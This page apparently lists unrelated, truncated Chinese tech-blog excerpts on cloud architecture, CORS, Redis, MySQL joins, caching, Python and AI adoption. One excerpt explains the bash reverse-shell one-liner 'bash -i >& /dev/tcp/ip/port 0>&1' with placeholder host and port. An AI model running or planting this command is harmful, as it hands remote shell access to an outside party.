https://www.jianshu.com/p/9de94066ab46 随着分布式架构的普及以及云计算技术的成熟，国内企业应用云原生化推进业务系统的迭代速度越来越快，后端系统架构日趋复杂，服务间的依赖越来越多，调用的链路越来越长。宕机引发巨额损失、严重影响用户体验的新闻层出不穷，为了让云基础设
重要声明：本文章仅仅代表了作者个人对此观点的理解和表述。读者请查阅时持自己的意见进行讨论。 本文更新不及时，建议到原文地址浏览：跨域解决及详细介绍。 首先，跨域不是问题。是一种安全机制。 这是你在开发时、上线前就必须提前考虑到的安全问题并且采取合适的手段去避免这个问题带来的程序错误。不过通常情况下，
本文书接上回 《关于领域驱动设计，大家都理解错了》 欢迎关注公众号“老肖想当外语大佬”： https://mp.weixin.qq.com/s/HHJ5vt2_iT0-CFcw0HcPnA 先有鸡还是先有蛋的困局 前文我们提出了“领域驱动设计是一种价值观”这个观点，那么落地领域驱动设计就是践行价值观
1、前言 在6.28/29的稀土掘金开发者大会RAG专场上，我们公司CEO员外代表TorchV分享了我们在《RAG在企业应用中落地的难点与创新》 其中最后分享了两个观点： AI在应用场景落地时有三个特点：功能小、质量高、价值大 如果说做产品是把一横做好的话，那么去做企业落地服务就是一竖，从需求和方案
前段时间跟几个大龄程序员一起吃饭，聊了大家的现状，后来写了篇博客总结了一下《从大龄程序员现状聊聊出路》，本想着给朋友们提供些观点和思路，结果被有些网友批评了。 1. 我的认知达不到赚快钱 有的网友认为我在瞎扯，有的觉得我在灌鸡汤，还有的认为我在指错路。 文中虽然总结了一些自认为有价值的观点，本想着让
本文分享自华为云社区《华为大咖说 | 企业应用AI大模型的“道、法、术” ——道：认知篇》，作者：华为云PaaS服务小智。 本期核心观点 上车：AGI是未来5～10年内，每个人都无法回避的技术革命，建议就近上车。 迭代：眼下的AI大模型应用都还只是过程稿，仍在快速迭代，切忌刻舟求剑。 预判：AI大模
1.简介 本文结合一些参考文章以及作者个人理解解释Linux的bash反弹命令中的 &>、0>&1 观点有误，欢迎指出！ 目标讨论命令：bash -i >& /dev/tcp/ip/port 0>&1 2.基本知识 1. bash bash是什么？ 是一种shell。 shell是什么？ 此处引用h
https://www.zhihu.com/people/bei-ji-85/posts 今天在一个技术群里有人问起来了，当时有一些讨论（不完全都是我个人的观点），整理一下： 为什么网络字节序（多数情况下）是大端？ 早年设备的缓存很小，先接收高字节能快速的判断报文信息：包长度（需要准备多大缓存）、地
作者是 Dante 发布于 2022年3月15日 in 杂项, 职场. 哦，不要想歪了，这里说的屁股，是“屁股决定脑袋”里的屁股。觉得不好听的话，可以翻译成：立场决定观点。 其实我们都是自己屁股的代言人。 不过，我从来也没觉得这个是不好的事情。作为一家公司，一个集体，我们是多元化的，只有其中的每一个
redis list类型介绍 要阐述redis的list数据类型，最好以一些理论开始，因为list术语在信息化众多技术中用的并不合适，如： 如Python中的list并不是链表结构，而是数组（同样的数据结构在Ruby语言中叫Array）。 以通常的观点来看，List仅仅是一个有序的元素序列：10，2
Redis性能问题诊断以及scan命令耗时分析 摘要 最近公司有项目反馈卡顿. 卡顿一小时后自己被拉入群聊. 同事已经基本上定位到问题原因. 我这边想使用朴素的性能观点进行一下性能问题的拆解 为了提高自己. 用到的一些脚本 echo "info" |redis-cli -p 6379 -a Your
我并不这么看。 友情提醒：本文建议在PC端阅读。 徐春阳老师发文爆MySQL 8.0 hash join有重大缺陷。 文章核心观点如下：多表（比如3个个表）join时，只会简单的把表数据量小的放在前面作为驱动表，大表放在最后面，从而导致可能产生极大结果集的笛卡尔积，甚至耗尽CPU和磁盘空间。 就此现
摘要：斯坦福教授、Tcl语言发明者John Ousterhout的著作《A Philosophy of Software Design》提出了一个经久不衰的观点——软件设计的核心在于降低复杂性。 在新技术不断涌现的云时代，出现了一种“技术过载”现象——本应帮助企业提高效率的技术，反倒让企业心生焦虑，
对带有感情色彩的主观性文本进行 分析、处理、归纳和推理的过程，输入文本 => (描述实体/entity，属性/aspect，情感/opinion ,观点持有者/holder，时间/time)
S3-FIFO 本文作为下一篇缓存文章的预备知识。 背景 基于LRU和FIFO的驱逐 FIFO和LRU都是经典的缓存驱逐算法，在过去几十年中也出现了很多追求更高效率的驱逐算法，如ARC, 2Q, LIRS, TinyLFU。传统观点认为，基于LRU的缓冲未命中率要低于基于FIFO的算法，如CLOCK
Python全景系列的第六篇，本文将深入探讨Python语言中的核心概念：类（Class）和对象（Object）。我们将介绍这些基本概念，然后通过示例代码详细展示Python中的类和对象如何工作，包括定义、实例化和修改等操作。本文将帮助您更深入地理解Python中的面向对象编程（OOP），并从中提出一些不常见但很有用的技术观点。
Redis 菜鸟进阶 背景 最近产品一直要优化性能,加强高可用. 有一个课题是Redis高可用与性能调优. 我这边其实获取到的内容很有限. 最近济南疫情严重,自己锁骨骨折. 然后通勤时间基本上都用来查资料了. 但是毕竟水平有限..简单整理总结一下. 估计纰漏很多..需要进一步学习. 单点 观点: R
信创CPU与牙膏厂和按摩店CPU的简单对比 摘要 周天时学习验证了SPEC2006的工具. 晚上时写完了第一稿简单的使用 因为 SPEC 完整跑完非常漫长. 我想了一下短平快还是通过使用一个简单的 runspec 跑单独的一个场景的方式进行简单验证 本着一个观点. 分低的性能一定不好用. 分高的性能
上周在.NET性能优化群里面有一个很有意思的讨论，讨论的问题如下所示： 请教大佬：2D数组，用C#先遍历行再遍历列，或者先遍历列再遍历行，两种方式在性能上有区别吗？ 据我所知，Julia或者python的 pandas，一般建议先遍历列，再遍历行 在群里面引发了很多大佬的讨论，总的来说观点分为以下三
https://www.cnblogs.com/xuyaowen/p/linux-iptraf.html 最近看到vmlinux大神介绍了一款网络查看工具，感觉很好用，下面进行简要摘录： iptraf-ng 可以方便查看当前服务器网络状况：CentOS 7.0，采用了衍生版本iptraf-ng 。
